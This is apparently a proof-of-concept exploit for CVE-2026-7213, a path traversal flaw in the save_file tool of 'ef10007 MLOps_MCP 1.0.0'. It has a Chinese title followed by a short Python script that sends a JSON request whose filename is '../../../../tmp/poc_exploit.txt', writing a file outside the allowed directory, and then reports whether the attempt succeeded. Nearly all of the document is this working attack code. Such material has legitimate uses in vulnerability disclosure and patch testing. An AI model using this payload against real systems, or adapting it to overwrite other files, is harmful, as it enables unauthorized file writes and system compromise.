CVE-2026-7213 ef10007 MLOps_MCP路径遍历漏洞

import requests import json # Exploit Title: ef10007 MLOps_MCP 1.0.0 Path Traversal # Description: Exploits the save_file tool to write files outside the intended directory. TARGET_URL = "http://target-host:port/api/save_file" def exploit(): # Malicious filename using path traversal payload = { "filename": "../../../../tmp/poc_exploit.txt", "content": "CVE-2026-7213 Path Traversal PoC" } headers = { "Content-Type": "application/json" } try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! File likely written.") else: print(f"[-] Exploit failed. Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()